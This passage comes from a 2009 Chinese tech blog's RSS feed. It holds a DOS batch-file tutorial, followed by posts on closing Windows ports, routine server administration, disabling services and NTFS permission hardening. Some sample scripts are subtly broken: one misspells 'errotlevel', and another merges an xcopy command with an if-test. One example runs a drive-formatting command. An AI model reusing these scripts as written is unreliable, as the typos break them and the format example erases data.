　　@echo off　不显示后续命令行及当前命令行<br>
<div class="spctrl"> </div>
　　dir c:\*.* &gt;a.txt　将c盘文件列表写入a.txt <br>
<div class="spctrl"> </div>
　　call c:\ucdos\ucdos.bat　调用ucdos <br>
<div class="spctrl"> </div>
　　echo 你好 显示&quot;你好&quot; <br>
<div class="spctrl"> </div>
　　pause 暂停,等待按键继续 <br>
<div class="spctrl"> </div>
　　rem 准备运行wps 注释：准备运行wps <br>
<div class="spctrl"> </div>
　　cd ucdos　进入ucdos目录 <br>
<div class="spctrl"> </div>
　　wps 运行wps　<br>
<div class="spctrl"> </div>
　　批处理文件的参数<br>
<div class="spctrl"> </div>
　　批处理文件还可以像C语言的函数一样使用参数（相当于DOS命令的命令行参数），这需要用到一个参数表示符&ldquo;%&rdquo;。 <br>
<div class="spctrl"> </div>
　　%[1-9]表示参数，参数是指在运行批处理文件时在文件名后加的以空格（或者Tab）分隔的字符串。变量可以从%0到%9，%0表示批处理命令本身，其它参数字符串用%1到%9顺序表示。 <br>
<div class="spctrl"> </div>
　　例2：C:根目录下有一批处理文件名为f.bat，内容为：<br>
<div class="spctrl"> </div>
　　@echo off<br>
<div class="spctrl"> </div>
　　format %1<br>
<div class="spctrl"> </div>
　　如果执行C:\&gt;f a:<br>
<div class="spctrl"> </div>
　　那么在执行f.bat时，%1就表示a:，这样format %1就相当于format a:，于是上面的命令运行时实际执行的是format a:<br>
<div class="spctrl"> </div>
　　例3：C:根目录下一批处理文件名为t.bat，内容为:<br>
<div class="spctrl"> </div>
　　@echo off<br>
<div class="spctrl"> </div>
　　type %1 <br>
<div class="spctrl"> </div>
　　type %2 <br>
<div class="spctrl"> </div>
　　那么运行C:\&gt;t a.txt b.txt <br>
<div class="spctrl"> </div>
　　%1 : 表示a.txt<br>
<div class="spctrl"> </div>
　　%2 : 表示b.txt<br>
<div class="spctrl"> </div>
　　于是上面的命令将顺序地显示a.txt和b.txt文件的内容。<br>
<div class="spctrl"> </div>
　　特殊命令<br>
<div class="spctrl"> </div>
　　if goto choice for是批处理文件中比较高级的命令，如果这几个你用得很熟练，你就是批处理文件的专家啦。 <br>
<div class="spctrl"> </div>
　　一、if 是条件语句，用来判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式: <br>
<div class="spctrl"> </div>
　　1、if [not] &quot;参数&quot; == &quot;字符串&quot; 待执行的命令 <br>
<div class="spctrl"> </div>
　　参数如果等于(not表示不等，下同)指定的字符串，则条件成立，运行命令，否则运行下一句。<br>
<div class="spctrl"> </div>
　　例：if &quot;%1&quot;==&quot;a&quot; format a:<br>
<div class="spctrl"> </div>
　　2、if [not] exist [路径\]文件名 待执行的命令 <br>
<div class="spctrl"> </div>
　　如果有指定的文件，则条件成立，运行命令，否则运行下一句。<br>
<div class="spctrl"> </div>
　　如: if exist c:\config.sys type c:\config.sys <br>
<div class="spctrl"> </div>
　　表示如果存在c:\config.sys文件，则显示它的内容。<br>
<div class="spctrl"> </div>
　　3、if errorlevel &lt;数字&gt; 待执行的命令 <br>
<div class="spctrl"> </div>
　　很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态)，通过if errorlevel命令可以判断程序的返回值，根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字，则条件成立，运行命令，否则运行下一句。<br>
<div class="spctrl"> </div>
　　如if errorlevel 2 goto x2<br>
<div class="spctrl"> </div>
　　二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label，标号用:后跟标准字符串来定义)处，goto语句一般与if配合使用，根据不同的条件来执行不同的命令组。 <br>
<div class="spctrl"> </div>
　　如:<br>
<div class="spctrl"> </div>
　　goto end <br>
<div class="spctrl"> </div>
　　:end <br>
<div class="spctrl"> </div>
　　echo this is the end <br>
<div class="spctrl"> </div>
　　标号用&ldquo;:字符串&rdquo;来定义，标号所在行不被执行。 <br>
<div class="spctrl"> </div>
　　三、choice 使用此命令可以让用户输入一个字符（用于选择），从而根据用户的选择返回不同的errorlevel，然后于if errorlevel配合，根据用户的选择运行不同的命令。<br>
<div class="spctrl"> </div>
　　注意：choice命令为DOS或者Windows系统提供的外部命令，不同版本的choice命令语法会稍有不同，请用choice /?查看用法。<br>
<div class="spctrl"> </div>
　　choice的命令语法（该语法为Windows 2003中choice命令的语法，其它版本的choice的命令语法与此大同小异）：<br>
<div class="spctrl"> </div>
　　CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]<br>
<div class="spctrl"> </div>
　　描述:<br>
<div class="spctrl"> </div>
　　该工具允许用户从选择列表选择一个项目并返回所选项目的索引。<br>
<div class="spctrl"> </div>
　　参数列表:<br>
<div class="spctrl"> </div>
　　/C　choices　指定要创建的选项列表。默认列表是 &quot;YN&quot;。<br>
<div class="spctrl"> </div>
　　/N　在提示符中隐藏选项列表。提示前面的消息得到显示，选项依旧处于启用状态。<br>
<div class="spctrl"> </div>
　　/CS　允许选择分大小写的选项。在默认情况下，这个工具是不分大小写的。<br>
<div class="spctrl"> </div>
　　/T　timeout　做出默认选择之前，暂停的秒数。可接受的值是从 0 到 9999。如果指定了 0，就不会有暂停，默认选项<br>
<div class="spctrl"> </div>
　　会得到选择。<br>
<div class="spctrl"> </div>
　　/D　choice　在 nnnn 秒之后指定默认选项。字符必须在用 /C 选项指定的一组选择中; 同时，必须用 /T 指定 nnnn。<br>
<div class="spctrl"> </div>
　　/M　text　指定提示之前要显示的消息。如果没有指定，工具只显示提示。<br>
<div class="spctrl"> </div>
　　/?　显示帮助消息。<br>
<div class="spctrl"> </div>
　　注意:<br>
<div class="spctrl"> </div>
　　ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选择返回 1，第二个选择返回 2，等等。如果用户按的键不是有效的选择，该工具会发出警告响声。如果该工具检测到错误状态，它会返回 255 的ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键，该工具会返回 0 的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时，将参数降序排列。<br>
<div class="spctrl"> </div>
　　示例:<br>
<div class="spctrl"> </div>
　　CHOICE /? <br>
<div class="spctrl"> </div>
　　CHOICE /C YNC /M &quot;确认请按 Y，否请按 N，或者取消请按 C。&quot;<br>
<div class="spctrl"> </div>
　　CHOICE /T 10 /C ync /CS /D y<br>
<div class="spctrl"> </div>
　　CHOICE /C ab /M &quot;选项 1 请选择 a，选项 2 请选择 b。&quot;<br>
<div class="spctrl"> </div>
　　CHOICE /C ab /N /M &quot;选项 1 请选择 a，选项 2 请选择 b。&quot;<br>
<div class="spctrl"> </div>
　　如果我运行命令：CHOICE /C YNC /M &quot;确认请按 Y，否请按 N，或者取消请按 C。&quot;<br>
<div class="spctrl"> </div>
　　屏幕上会显示：<br>
<div class="spctrl"> </div>
　　确认请按 Y，否请按 N，或者取消请按 C。 [Y,N,C]?<br>
<div class="spctrl"> </div>
　　例：test.bat的内容如下（注意，用if errorlevel判断返回值时，要按返回值从高到低排列）: <br>
<div class="spctrl"> </div>
　　@echo off <br>
<div class="spctrl"> </div>
　　choice /C dme /M &quot;defrag,mem,end&quot;<br>
<div class="spctrl"> </div>
　　if errorlevel 3 goto end<br>
<div class="spctrl"> </div>
　　if errorlevel 2 goto mem <br>
<div class="spctrl"> </div>
　　if errotlevel 1 goto defrag <br>
<div class="spctrl"> </div>
　　:defrag <br>
<div class="spctrl"> </div>
　　c:\dos\defrag <br>
<div class="spctrl"> </div>
　　goto end <br>
<div class="spctrl"> </div>
　　:mem <br>
<div class="spctrl"> </div>
　　mem <br>
<div class="spctrl"> </div>
　　goto end <br>
<div class="spctrl"> </div>
　　:end <br>
<div class="spctrl"> </div>
　　echo good bye <br>
<div class="spctrl"> </div>
　　此批处理运行后，将显示&ldquo;defrag,mem,end[D,M,E]?&rdquo; ，用户可选择d m e ，然后if语句根据用户的选择作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，批处理运行结束。 <br>
<div class="spctrl"> </div>
　　四、for 循环命令，只要条件符合，它将多次执行同一命令。 <br>
<div class="spctrl"> </div>
　　语法：<br>
<div class="spctrl"> </div>
　　对一组文件中的每一个文件执行某个特定命令。<br>
<div class="spctrl"> </div>
　　FOR %%variable IN (set) DO command [command-parameters]<br>
<div class="spctrl"> </div>
　　%%variable　指定一个单一字母可替换的参数。<br>
<div class="spctrl"> </div>
　　(set)　指定一个或一组文件。可以使用通配符。<br>
<div class="spctrl"> </div>
　　command　指定对每个文件执行的命令。<br>
<div class="spctrl"> </div>
　　command-parameters 为特定命令指定参数或命令行开关。<br>
<div class="spctrl"> </div>
　　例如一个批处理文件中有一行: <br>
<div class="spctrl"> </div>
　　for %%c in (*.bat *.txt) do type %%c <br>
<div class="spctrl"> </div>
　　则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。<br>
<div class="spctrl"> </div>
　　批处理示例<br>
<div class="spctrl"> </div>
　　1. IF-EXIST<br>
<div class="spctrl"> </div>
　　1)<br>
<div class="spctrl"> </div>
　　首先用记事本在C:\建立一个test1.bat批处理文件，文件内容如下： <br>
<div class="spctrl"> </div>
　　@echo off <br>
<div class="spctrl"> </div>
　　IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT <br>
<div class="spctrl"> </div>
　　IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist <br>
<div class="spctrl"> </div>
　　然后运行它：<br>
<div class="spctrl"> </div>
　　C:\&gt;TEST1.BAT <br>
<div class="spctrl"> </div>
　　如果C:\存在AUTOEXEC.BAT文件，那么它的内容就会被显示出来，如果不存在，批处理就会提示你该文件不存在。<br>
<div class="spctrl"> </div>
　　2)<br>
<div class="spctrl"> </div>
　　接着再建立一个test2.bat文件，内容如下： <br>
<div class="spctrl"> </div>
　　@ECHO OFF <br>
<div class="spctrl"> </div>
　　IF EXIST \%1 TYPE \%1 <br>
<div class="spctrl"> </div>
　　IF NOT EXIST \%1 ECHO \%1 does not exist <br>
<div class="spctrl"> </div>
　　执行: <br>
<div class="spctrl"> </div>
　　C:\&gt;TEST2 AUTOEXEC.BAT <br>
<div class="spctrl"> </div>
　　该命令运行结果同上。<br>
<div class="spctrl"> </div>
　　说明： <br>
<div class="spctrl"> </div>
　　(1) IF EXIST 是用来测试文件是否存在的，格式为 <br>
<div class="spctrl"> </div>
　　IF EXIST [路径+文件名] 命令 <br>
<div class="spctrl"> </div>
　　(2) test2.bat文件中的%1是参数，DOS允许传递9个批参数信息给批处理文件，分别为%1~%9(%0表示test2命令本身) ，这有点象编程中的实参和形参的关系，%1是形参，AUTOEXEC.BAT是实参。 <br>
<div class="spctrl"> </div>
　　3) 更进一步的，建立一个名为TEST3.BAT的文件，内容如下： <br>
<div class="spctrl"> </div>
　　@echo off<br>
<div class="spctrl"> </div>
　　IF &quot;%1&quot; == &quot;A&quot; ECHO XIAO <br>
<div class="spctrl"> </div>
　　IF &quot;%2&quot; == &quot;B&quot; ECHO TIAN <br>
<div class="spctrl"> </div>
　　IF &quot;%3&quot; == &quot;C&quot; ECHO XIN <br>
<div class="spctrl"> </div>
　　如果运行：<br>
<div class="spctrl"> </div>
　　C:\&gt;TEST3 A B C <br>
<div class="spctrl"> </div>
　　屏幕上会显示:<br>
<div class="spctrl"> </div>
　　XIAO<br>
<div class="spctrl"> </div>
　　TIAN<br>
<div class="spctrl"> </div>
　　XIN<br>
<div class="spctrl"> </div>
　　如果运行：<br>
<div class="spctrl"> </div>
　　C:\&gt;TEST3 A B <br>
<div class="spctrl"> </div>
　　屏幕上会显示<br>
<div class="spctrl"> </div>
　　XIAO<br>
<div class="spctrl"> </div>
　　TIAN <br>
<div class="spctrl"> </div>
　　在这个命令执行过程中，DOS会将一个空字符串指定给参数%3。 <br>
<div class="spctrl"> </div>
　　2、IF-ERRORLEVEL<br>
<div class="spctrl"> </div>
　　建立TEST4.BAT，内容如下：<br>
<div class="spctrl"> </div>
　　@ECHO OFF <br>
<div class="spctrl"> </div>
　　XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败 <br>
<div class="spctrl"> </div>
　　IF ERRORLEVEL 0 ECHO 成功拷贝文件 <br>
<div class="spctrl"> </div>
　　然后执行文件:<br>
<div class="spctrl"> </div>
　　C:\&gt;TEST4<br>
<div class="spctrl"> </div>
　　如果文件拷贝成功，屏幕就会显示&ldquo;成功拷贝文件&rdquo;，否则就会显示&ldquo;文件拷贝失败&rdquo;。 <br>
<div class="spctrl"> </div>
　　IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的，注意只是上一个命令的返回值，而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的：<br>
<div class="spctrl"> </div>
　　@ECHO OFF <br>
<div class="spctrl"> </div>
　　XCOPY C:\AUTOEXEC.BAT D:\ <br>
<div class="spctrl"> </div>
　　IF ERRORLEVEL 0 ECHO 成功拷贝文件 <br>
<div class="spctrl"> </div>
　　IF ERRORLEVEL 1 ECHO 未找到拷贝文件 <br>
<div class="spctrl"> </div>
　　IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作 <br>
<div class="spctrl"> </div>
　　IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作 <br>
<div class="spctrl"> </div>
　　IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误 <br>
<div class="spctrl"> </div>
　　无论拷贝是否成功，后面的： <br>
<div class="spctrl"> </div>
　　</div> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lookxd/blog/category/%A1%FE%CA%D5%B2%D8%A1%F4%D7%DB%BA%CF%A1%FE">〓收藏◆综合〓</a>&nbsp;<a href="http://hi.baidu.com/lookxd/blog/item/d86cbdde08ad975c94ee370c.html#comment">查看评论</a>]]></description>
        <pubDate>2009年03月11日 星期三  下午 12:01</pubDate>
        <category><![CDATA[〓收藏◆综合〓]]></category>
        <author><![CDATA[IT小刀]]></author>
		<guid>http://hi.baidu.com/lookxd/blog/item/d86cbdde08ad975c94ee370c.html</guid>
</item>

<item>
        <title><![CDATA[服务器安全-关闭端口]]></title>
        <link><![CDATA[http://hi.baidu.com/lookxd/blog/item/d86cbdde0893975c94ee3706.html]]></link>
        <description><![CDATA[
		
		<p>一、端口筛选设置<br>
二、停止服务<br>
三、防火墙设置<br>
四、关闭端口<br>
1、关闭137.138.139端口<br>
右击&quot;网上邻居&quot;-&gt;选&quot;属性&quot;-&gt;右击&quot;本地连接&quot;-&gt;选&quot;属性&quot;,就此打开了&quot;本地连接属性&quot;的框框,看到&ldquo;网络的文件和打印共享&rdquo;吧,去掉小方框里的勾勾,一般我是直接卸载它,设置好后，接着点&ldquo;高级&rdquo;。。。WINS,下面有一个NetBIOS,禁用它即可,OK.危险的137 138 139端口被关闭了.</p>
<p>2、关闭445端口<br>
关闭445端口的方法有很多，但是我比较推荐以下这种方法： <br>
修改注册表，添加一个键值 <br>
Hive: HKEY_LOCAL_MACHINE <br>
Key: System\CurrentControlSet\Services\NetBT\Parameters <br>
Name: SMBDeviceEnabled <br>
Type: REG_DWORD <br>
Value: 0 <br>
3、如何关闭135等端口<br>
默认情况下，Windows有很多端口是开放的，在你上网的时候，网络病毒和黑客可以通过这些端口连上你的电脑。为了让你的系统变为铜墙铁壁，应该封闭这些端口，主要有：TCP 135、139、445、593、1025 端口和 UDP 135、137、138、445 端口，一些流行病毒的后门端口（如 TCP 2745、3127、6129 端口），以及远程服务访问端口3389。下面介绍如何在WinXP/2000/2003下关闭这些网络端口：</p>
<p>第一步，点击&ldquo;开始&rdquo;菜单/设置/控制面板/管理工具，双击打开&ldquo;本地安全策略&rdquo;，选中&ldquo;IP 安全策略，在本地计算机&rdquo;，在右边窗格的空白位置右击鼠标，弹出快捷菜单，选择&ldquo;创建 IP 安全策略&rdquo;（如右图），于是弹出一个向导。在向导中点击&ldquo;下一步&rdquo;按钮，为新的安全策略命名；再按&ldquo;下一步&rdquo;，则显示&ldquo;安全通信请求&rdquo;画面，在画面上把&ldquo;激活默认相应规则&rdquo;左边的钩去掉，点击&ldquo;完成&rdquo;按钮就创建了一个新的IP 安全策略。</p>
<p>第二步，右击该IP安全策略，在&ldquo;属性&rdquo;对话框中，把&ldquo;使用添加向导&rdquo;左边的钩去掉，然后单击&ldquo;添加&rdquo;按钮添加新的规则，随后弹出&ldquo;新规则属性&rdquo;对话框，在画面上点击&ldquo;添加&rdquo;按钮，弹出IP筛选器列表窗口；在列表中，首先把&ldquo;使用添加向导&rdquo;左边的钩去掉，然后再点击右边的&ldquo;添加&rdquo;按钮添加新的筛选器。</p>
<p>第三步，进入&ldquo;筛选器属性&rdquo;对话框，首先看到的是寻址，源地址选&ldquo;任何 IP 地址&rdquo;，目标地址选&ldquo;我的 IP 地址&rdquo;；点击&ldquo;协议&rdquo;选项卡，在&ldquo;选择协议类型&rdquo;的下拉列表中选择&ldquo;TCP&rdquo;，然后在&ldquo;到此端口&rdquo;下的文本框中输入&ldquo;135&rdquo;，点击&ldquo;确定&rdquo;按钮（如左图），这样就添加了一个屏蔽 TCP 135（RPC）端口的筛选器，它可以防止外界通过135端口连上你的电脑。</p>
<p>点击&ldquo;确定&rdquo;后回到筛选器列表的对话框，可以看到已经添加了一条策略，重复以上步骤继续添加 TCP 137、139、445、593 端口和 UDP 135、139、445 端口，为它们建立相应的筛选器</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lookxd/blog/category/%A1%FE%B7%FE%CE%F1%C6%F7%A1%F4%CE%AC%BB%A4%A1%FE">〓服务器◆维护〓</a>&nbsp;<a href="http://hi.baidu.com/lookxd/blog/item/d86cbdde0893975c94ee3706.html#comment">查看评论</a>]]></description>
        <pubDate>2009年03月11日 星期三  上午 11:48</pubDate>
        <category><![CDATA[〓服务器◆维护〓]]></category>
        <author><![CDATA[IT小刀]]></author>
		<guid>http://hi.baidu.com/lookxd/blog/item/d86cbdde0893975c94ee3706.html</guid>
</item>

<item>
        <title><![CDATA[服务器日常管理安排]]></title>
        <link><![CDATA[http://hi.baidu.com/lookxd/blog/item/43a64d3bdbbed2e215cecb35.html]]></link>
        <description><![CDATA[
		
		<p>服务器管理工作必须规范严谨，尤其在不是只有一位管理员的时候，日常管理工作包括： <br>
<br>
1．服务器的定时重启。每台服务器保证每周重新启动一次。重新启动之后要进行复查，确认服务器已经启动了，确认服务器上的各项服务均恢复正常。对于没有启动起来或服务未能及时恢复的情况要采取相应措施。前者可请求托管商的相关工作人员帮忙手工重新启动，必要时可要求让连接上显示器确认是否已启动起来；后者需要远程登陆上服务器进行原因查找并根据原因尝试恢复服务。 <br>
<br>
2．服务器的安全、性能检查，每服务器至少保证每周登陆两次粗略检查两次。每次检查的结果要求进行登记在册。如需要使用一些工具进行检查，可直接在e:tools中查找到相关工具。对于临时需要从网络上找的工具，首先将ie的安全级别调整到高，然后在网络上进行查找，不要去任何不明站点下载，尽量选择如华军、天空等大型网站进行下载，下载后确保当前杀毒软件已升级到最新版本，升级完毕后对下载的软件进行一次杀毒，确认正常后方能使用。对于下载的新工具对以后维护需要使用的话，将该工具保存到e:tools下，并在该目录中的readme.txt文件中做好相应记录，记录该工具的名称，功能，使用方法。并且在该文件夹中的rar文件夹中保留一份该工具的winrar压缩文件备份，设置解压密码。 <br>
<br>
3．服务器的数据备份工作，每服务器至少保证每月备份一次系统数据，系统备份采用ghost方式，对于ghost文件固定存放在e:ghost文件目录下，文件名以备份的日期命名，如0824.gho，每服务器至少保证每两周备份一次应用程序数据，每服务器至少保证每月备份一次用户数据，备份的数据固定存放在e:databak文件夹，针对各种数据再建立对应的子文件夹，如serv-u用户数据放在该文件夹下的servu文件夹下，iis站点数据存放在该文件夹下的iis文件夹下。 <br>
<br>
4．服务器的监控工作，每天正常工作期间必须保证监视所有服务器状态，一旦发现服务停止要及时采取相应措施。对于发现服务停止，首先检查该服务器上同类型的服务是否中断，如所有同类型的服务都已中断及时登陆服务器查看相关原因并针对该原因尝试重新开启对应服务。 <br>
<br>
5．服务器的相关日志操作，每服务器保证每月对相关日志进行一次清理，清理前对应的各项日志如应用程序日志、安全日志、系统日志等都应选择&ldquo;保存日志&rdquo;。所有的日志文件统一保存在e:logs下，应用程序日志保存在e:logsapp中，系统程序日志保存在e:logssys中，安全日志保存在e:logssec中。对于另外其他一些应用程序的日志，也按照这个方式进行处理，如ftp的日志保存在e:logsftp中。所有的备份日志文件都以备份的日期命名，如20050824.evt。对于不是单文件形式的日志，在对应的记录位置下建立一个以日期命名的文件夹，将这些文件存放在该文件夹中。 <br>
<br>
6．服务器的补丁修补、应用程序更新工作，对于新出的漏洞补丁，应用程序方面的安全更新一定要在发现的第一时间给每服务器打上应用程序的补丁。 <br>
<br>
7．服务器的隐患检查工作，主要包括安全隐患、性能等方面。每服务器必须保证每月重点的单独检查一次。每次的检查结果必须做好记录。 <br>
<br>
8．不定时的相关工作，每服务器由于应用软件更改或其他某原因需要安装新的应用程序或卸载应用程序等操作必须知会所有管理员。 <br>
<br>
9．定期的管理密码更改工作，每服务器保证至少每两个月更改一次密码，对于sql服务器由于如果sql采用混合验证更改系统管理员密码会影响数据库的使用则不予修改。 <br>
<br>
相关建议：对每服务器设立一个服务器管理记载，管理员每次登陆系统都应该在此中进行详细的记录，共需要记录以下几项：登入时间，退出时间，登入时服务器状态[包含不明进程记录，端口连接状态，系统帐号状态，内存/cpu状态]，详细操作情况记录[详细记录下管理员登陆系统后的每一步操作]。无论是远程登陆操作还是物理接触操作都要进行记录，然后将这些记录按照各服务器归档，按时间顺序整理好文档。 <br>
<br>
对于数据备份、服务器定时重启等操作建议将服务器分组，例如分成四组，每月的周六晚备份一组服务器的数据，每周的某一天定时去重启一组的服务器，这样对于工作的开展比较方便，这些属于固定性的工作。另外有些工作可以同步进行，如每月一次的数据备份、安全检查和管理员密码修改工作，先进行数据备份，然后进行安全检查，再修改密码。对于需要的即时操作如服务器补丁程序的安装、服务器不定时的故障维护等工作，这些属于即时性的工作，但是原则上即时性的工作不能影响固定工作的安排。 <br>
<br>
管理员日常注意事项 <br>
<br>
在服务器管理过程中，管理员需要注意以下事项： <br>
<br>
1．对自己的每一次操作应做好详细记录，具体见上述建议，以便于后来检查。 <br>
<br>
2．努力提高自身水平，加强学习。</p>
<p><font face="Verdana">关闭windows2003不必要的服务</font></p>
<p><font face="Verdana">　　·Computer Browser 维护网络上计算机的最新列表以及提供这个列表</font></p>
<p><font face="Verdana">　　·Task scheduler 允许程序在指定时间运行</font></p>
<p><font face="Verdana">　　·Routing and Remote Access 在局域网以及广域网环境中为企业提供路由服务</font></p>
<p><font face="Verdana">　　·Removable storage 管理可移动媒体、驱动程序和库</font></p>
<p><font face="Verdana">　　·Remote Registry Service 允许远程注册表操作</font></p>
<p><font face="Verdana">　　·Print Spooler 将文件加载到内存中以便以后打印。</font></p>
<p><font face="Verdana">　　·IPSEC Policy Agent 管理IP安全策略及启动ISAKMP/OakleyIKE)和IP安全驱动程序</font></p>
<p><font face="Verdana">　　·Distributed Link Tracking Client 当文件在网络域的NTFS卷中移动时发送通知</font></p>
<p><font face="Verdana">　　·Com+ Event System 提供事件的自动发布到订阅COM组件</font></p>
<p><font face="Verdana">　　·Alerter 通知选定的用户和计算机管理警报</font></p>
<p><font face="Verdana">　　·Error Reporting Service 收集、存储和向 Microsoft 报告异常应用程序</font></p>
<p><font face="Verdana">　　·Messenger 传输客户端和服务器之间的 NET SEND 和 警报器服务消息</font></p>
<p><font face="Verdana">　　·Telnet 允许远程用户登录到此计算机并运行程序</font></p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lookxd/blog/category/%A1%FE%B7%FE%CE%F1%C6%F7%A1%F4%CE%AC%BB%A4%A1%FE">〓服务器◆维护〓</a>&nbsp;<a href="http://hi.baidu.com/lookxd/blog/item/43a64d3bdbbed2e215cecb35.html#comment">查看评论</a>]]></description>
        <pubDate>2009年03月11日 星期三  上午 11:15</pubDate>
        <category><![CDATA[〓服务器◆维护〓]]></category>
        <author><![CDATA[IT小刀]]></author>
		<guid>http://hi.baidu.com/lookxd/blog/item/43a64d3bdbbed2e215cecb35.html</guid>
</item>

<item>
        <title><![CDATA[服务器安全设置之--硬盘权限篇]]></title>
        <link><![CDATA[http://hi.baidu.com/lookxd/blog/item/aa69184e5c52ca01b3de0534.html]]></link>
        <description><![CDATA[
		
		<h1 class="ContentTitle"><strong>服务器安全设置之--硬盘权限 </strong>作者:单翼 （转）</h1>
<h1 class="ContentTitle"> </h1>
<p><font size="2">这里着重谈需要的权限，也就是最终文件夹或硬盘需要的权限，可以防御各种木马入侵，提权攻击，跨站攻击等。本实例经过多次试验，安全性能很好，服务器基本没有被木马威胁的担忧了。 </font></p>
<p><font size="2">硬盘或文件夹: C:\ D:\ E:\ F:\ 类推 <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 无 <br>
如果安装了其他运行环境，比如PHP等，则根据PHP的环境功能要求来设置硬盘权限，一般是安装目录加上users读取运行权限就足够了，比如c:\php的话，就在根目录权限继承的情况下加上users读取运行权限，需要写入数据的比如tmp文件夹，则把user的写删权限加上，运行权限不要，然后把虚拟主机用户的读权限拒绝即可。如果是mysql的话，可以把mysql安装目录只要同硬盘根目录权限就可以了。如果是winwebmail，则最好建立独立的应用程序池和独立IIS用户，然后整个安装目录有user用户的读/运行/写/权限，IIS用户则相同，这个IIS用户就只用在winwebmail的WEB访问中，其他IIS站点切勿使用，安装了winwebmail的服务器硬盘权限设置后面举例 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
CREATOR OWNER 完全控制 <br>
只有子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
SYSTEM 完全控制 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><br>
<font size="2">硬盘或文件夹: C:\Inetpub\ <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 无 <br>
该文件夹，子文件夹及文件 <br>
&lt;继承于c:\&gt; <br>
CREATOR OWNER 完全控制 <br>
只有子文件夹及文件 <br>
&lt;继承于c:\&gt; <br>
SYSTEM 完全控制 <br>
该文件夹，子文件夹及文件 <br>
&lt;继承于c:\&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Inetpub\AdminScripts <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 无 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
SYSTEM 完全控制 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Inetpub\wwwroot <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 IIS_WPG 读取运行/列出文件夹目录/读取 <br>
该文件夹，子文件夹及文件 该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; <br>
SYSTEM 完全控制 Users 读取运行/列出文件夹目录/读取 <br>
该文件夹，子文件夹及文件 该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; <br>
这里可以把虚拟主机用户组加上 <br>
同Internet 来宾帐户一样的权限 <br>
拒绝权限 Internet 来宾帐户 创建文件/写入数据/:拒绝 <br>
创建文件夹/附加数据/:拒绝 <br>
写入属性/:拒绝 <br>
写入扩展属性/:拒绝 <br>
删除子文件夹及文件/:拒绝 <br>
删除/:拒绝 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Inetpub\wwwroot\aspnet_client <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 Users 读取 <br>
该文件夹，子文件夹及文件 该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; <br>
SYSTEM 完全控制 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Documents and Settings <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 无 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
SYSTEM 完全控制 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Documents and Settings\All Users <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 Users 读取和运行 <br>
该文件夹，子文件夹及文件 该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; <br>
SYSTEM 完全控制 USERS组的权限仅仅限制于读取和运行， <br>
绝对不能加上写入权限 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Documents and Settings\All Users\「开始」菜单 <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 无 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
SYSTEM 完全控制 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Documents and Settings\All Users\Application Data <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 Users 读取和运行 <br>
该文件夹，子文件夹及文件 该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; <br>
CREATOR OWNER 完全控制 Users 写入 <br>
只有子文件夹及文件 该文件夹，子文件夹 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; <br>
SYSTEM 完全控制 两个并列权限同用户组需要分开列权限 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Documents and Settings\All Users\Application Data\Microsoft <br>
